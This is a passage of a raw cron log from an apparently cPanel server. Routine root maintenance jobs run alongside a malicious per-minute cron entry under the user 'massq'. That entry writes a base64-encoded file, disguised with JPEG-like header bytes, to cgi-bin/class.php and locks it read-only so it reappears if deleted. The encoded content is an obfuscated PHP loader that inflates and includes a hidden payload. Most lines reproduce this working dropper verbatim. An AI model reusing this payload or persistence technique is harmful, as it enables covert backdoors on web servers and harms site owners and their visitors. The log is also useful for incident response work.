fi; chmod 444 "$fp")
Sep 11 20:31:01 server CROND[16747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:32:01 server CROND[17121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:32:01 server CROND[17122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:32:01 server CROND[17123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:33:01 server CROND[17504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:33:01 server CROND[17503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:33:01 server CROND[17505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:34:01 server CROND[17893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:34:01 server CROND[17896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:34:01 server CROND[17894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:35:01 server CROND[18271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 20:35:01 server CROND[18275]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:35:01 server CROND[18286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:35:01 server CROND[18292]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 20:35:01 server CROND[18296]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 20:35:01 server CROND[18295]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 20:35:01 server CROND[18294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:35:01 server CROND[18289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:35:01 server CROND[18297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:36:01 server CROND[19253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:36:01 server CROND[19254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:36:01 server CROND[19255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:37:01 server CROND[19623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:37:01 server CROND[19622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:37:01 server CROND[19625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:38:01 server CROND[20106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:38:01 server CROND[20107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:38:01 server CROND[20108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:39:02 server CROND[20565]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 20:39:02 server CROND[20567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:39:02 server CROND[20566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:39:02 server CROND[20568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:40:01 server CROND[20966]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 20:40:01 server CROND[20968]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:40:01 server CROND[20969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:40:01 server CROND[20967]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 20:40:01 server CROND[20976]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 20:40:01 server CROND[20977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:40:02 server CROND[20974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:40:02 server CROND[20978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:41:01 server CROND[21896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:41:01 server CROND[21897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:41:01 server CROND[21898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:42:01 server CROND[22285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:42:01 server CROND[22286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:42:01 server CROND[22287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:42:01 server CROND[22288]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 20:43:01 server CROND[22676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:43:01 server CROND[22677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:43:01 server CROND[22678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:44:01 server CROND[23228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
